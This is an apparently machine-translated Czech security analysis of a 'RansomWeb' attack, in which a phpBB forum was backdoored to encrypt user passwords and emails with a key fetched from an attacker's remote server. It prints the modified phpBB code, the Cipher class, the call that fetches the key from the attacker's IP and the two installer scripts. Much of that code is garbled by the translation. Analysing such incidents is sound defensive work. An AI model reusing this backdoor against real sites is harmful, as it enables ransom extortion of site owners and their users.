Příklad
V prosinci 2014, naše
bezpečnostní experti objevil velmi zajímavý případ finanční firmy webové stránky
kompromis: webová stránka byla mimo provoz zobrazující k chybě databáze, zatímco
majitel webové stránky dostal email s žádostí o výkupné, aby "dešifrovat
databáze". Webová aplikace v pochybnost byl docela jednoduchý a malý, ale velmi
důležité pro podnikání společnosti, která nemohla dovolit ji přerušit, ani
oznamuje své kompromis. Pečlivé vyšetřování, které jsme provedli odhalila
následující:
Webová aplikace byla ohrožena před šesti měsíci, několik
serverových skriptů byly upraveny k zašifrování dat před jejich vložením do
databáze a dešifrovat po získání dat z databáze. Něco jako "on-fly" záplatování
neviditelný pro uživatele webových aplikací.
Pouze nejkritičtější pole
databázové tabulky byly zašifrovány (pravděpodobně nebude mít vliv na výkon
webové aplikace hodně). Všechny dříve existující záznamy databázové byly
odpovídajícím způsobem šifrována.
Šifrovací klíč byl uložen na vzdáleném
webový server přístupný pouze přes HTTPS (asi aby se zabránilo klíčovou
odposlechu různých monitorovacích dopravní systémy).
V průběhu šesti měsíců,
hackeři byli tiše čekají, zatímco zálohy byly přepsány novějších verzí databáze.
V den X, hackeři odstranili klíč ze vzdáleného serveru. Databáze se stal
nepoužitelný, webové stránky šel mimo provoz, a hackeři požadoval výkupné za
šifrovacího klíče.
Byli jsme si jistí, že je to individuální příkladem
sofistikované APT cílení konkrétního podniku, ale minulý týden jsme čelili jiný
podobný případ. Jeden z našich zákazníků, SMB, byl vydírán po jeho ... phpBB
fórum šel mimo provoz. Fóra byl používán jako hlavní platformu pro zákaznickou
podporu, a proto bylo důležité pro zákazníka.
Jednalo se o poslední phpBB
3.1.2 propuštěn na 25. listopadu 2014. Žádný uživatel mohl Přihlašovací údaje
(včetně fóra moderátory a administrátory). Fórum bylo on-line, ale všechny
funkce, které vyžadují uživatelské fórum, které mají být ověřeny nefungoval.
Naše důkladné šetření vyplynulo, že fórum motor byl záplatovaný takovým
způsobem, že hesla a e-maily uživatelů byly zašifrované "on-fly" mezi webové
aplikace a databáze.
Následující soubory byly upraveny:
1. Soubor "
factory.php " má svůj "sql_fetchrow ()" funkce upravenou takovým způsobem, že
výsledek SQL dotazu "$ result = $ this-> get_driver () -> sql_fetchrow ($
query_id)" v poli " výsledkem "bude mít dešifrovány hodnoty" user_password "a"
user_email "polí tabulky:
if (isset ( $ výsledek [ 'user_password' ])) {
$ výsledek [ 'user_password' ] = $ šifra -> dešifrovat ( $ výsledek [
'user_password' ]);
}
if (isset ( $ výsledek [ 'user_email' ]) ) {
$
výsledek [ 'user_email' ] = $ šifra -> dešifrovat ( $ výsledek [ 'user_email'
]);
}
2. Soubor "
functions_user.php " má upravenou verzi funkce "user_add" Přidání šifrování:
$ sql_ary = array (
'username' => $ user_row [ 'username' ],
"username_clean ' => $ username_clean ,
" user_password' => (isset(
$user_row [ 'user_password' ]))?
$cipher -> encrypt ( $user_row [
'user_password' ]): $cipher -> encrypt ( '' ),
'user_email' => $cipher ->
encrypt ( strtolower ( $user_row [ 'user_email' ])),
'user_email_hash' =>
phpbb_email_hash ( $user_row [ 'user_email' ]),
'group_id' => $user_row [
'group_id' ],
'user_type' => $user_row [ 'user_type' ],
);
3. Soubor " cp_activate.php " má upravenou verzi funkce "main ()":
$ sql_ary
= array(
'user_actkey' => '' ,
'user_password' => $cipher -> encrypt (
$user_row [ 'user_newpasswd' ]),
'user_newpasswd' => '' ,
'user_login_attempts' => 0 ,
);
4. Soubor " ucp_profile.php " má upravenou verzi funkce "main ()":
if (
sizeof ( $ sql_ary ))
{
$ sql_ary [ 'user_email' ] = $ šifra ->
šifrování ( $ sql_ary [ 'user_email' ]);
$ sql_ary [ 'user_password' ] = $
šifra -> šifrování ( $ sql_ary [ ' user_password ' ]);
$ sql = "UPDATE" .
USERS_TABLE . "
SET" . $ db -> sql_build_array ( UPDATE' ' , $ sql_ary ). "
WHERE user_id =' . uživatel $ -> údajů [ 'user_id' ];
$ db -> sql_query ( $
sql );
5. Soubor "
config.php " měl následující změny:
třída Cipher {
soukromý $ securekey ,
$ iv ;
funkce __construct ( $ textkey ) {
$this -> securekey = hash (
'sha256' , $textkey , TRUE );
$this -> iv = mcrypt_create_iv ( 32 );
}
function encrypt ( $input ) {
return base64_encode ( mcrypt_encrypt (
MCRYPT_RIJNDAEL_256 ,
$this -> securekey , $input , MCRYPT_MODE_ECB , $this
-> iv ));
}
function decrypt ( $input ) {
return trim (
mcrypt_decrypt ( MCRYPT_RIJNDAEL_256 ,
$this -> securekey , base64_decode (
$input ), MCRYPT_MODE_ECB , $this -> iv ));
}
}
$key =
file_get_contents ( 'https://103.13.120.108/sfdoif89d7sf8d979dfgf/
sdfds90f8d9s0f8d0f89.txt' );
$cipher =new Cipher ( $key );
Navíc jsme našli dvě backdoor instalačních skriptů zanechané hackerů na serveru,
které umožňují, aby backdoor jakoukoli phpBB fórum se jen pár kliknutí. Soubor
první instalační záplaty "config.php" přidat třídu "Cipher", který dešifruje a
šifruje data pomocí PHP "mcrypt_encrypt ()" funkce uložení šifrovacího klíče na
vzdáleném serveru:
<? Php
$ file = '../config.php' ;
$ txt = "\ n" .
"Class Cipher {
private $ securekey, $ iv;
funkce __construct ($
textkey) {
$ this-> securekey = hash (\ "sha256 \ ', $ textkey, TRUE);
$
this-> iv = mcrypt_create_iv (32);
}
funkce zašifrovat ($ input) {
return base64_encode (mcrypt_encrypt (MCRYPT_RIJNDAEL_256,
$ this->
securekey, $ vstup, MCRYPT_MODE_ECB, $ this -> iv));
}
decrypt funkce ($
input) {
return trim (mcrypt_decrypt (MCRYPT_RIJNDAEL_256,
tohle $>
securekey, base64_decode ($ vstup), MCRYPT_MODE_ECB, Cipher ($ key); "
. " \ N " ;
if ( FALSE ==! File_put_contents ( soubor $ , $ txt ,
FILE_APPEND | LOCK_EX )) {
echo " HOTOVO! " ;
};
A druhý instalační program analyzuje všechny stávající uživatele phpBB šifrovat
své e-maily a hesla, a nahrazuje výše uvedené soubory phpBB s backdoored kopií:
<? Php
definovat ( "IN_PHPBB ' , pravda );
$ phpbb_root_path = (
definované ( " PHPBB_ROOT_PATH' ))
user_id, user_password, user_email FROM " . USERS_TABLE ;
$ výsledek = $ db
-> sql_query ( $ sql );
while ( $ row = $ db -> sql_fetchrow ( $ result ))
{
$ sql2 = '' UPDATE . USERS_TABLE . "
SET
user_password = " ' . $
šifra -> šifrování ( $ row [ ' user_password ' ]). '",
user_email = " ' . $
šifra -> šifrování ( $ row [ ' user_email ' ]). '"
WHERE user_id = ' . $ row
[ 'user_id' ];
$ result2 = $ db -> sql_query ( $ sql2 );
}
echo "SQL
AKTUALIZOVÁNO! " ;
Útočníci čekal po dobu 2 měsíců a pak už jen odstraněn klíč ze vzdáleného
serveru. Později jsme zjistili, že phpBB byla ohrožena pomocí ukradené heslo
FTP, bezpečnost phpBB není ve vztahu k incidentu v žádném případě.
Pro tuto
chvíli žádný antivirový software rozpozná i instalátory jako známý malware:
Soubor "step1.php"
Soubor "step2.php"
V návaznosti na mzdy Ransomware
útoků, jsme nazvali tento hacking techniky RansomWeb .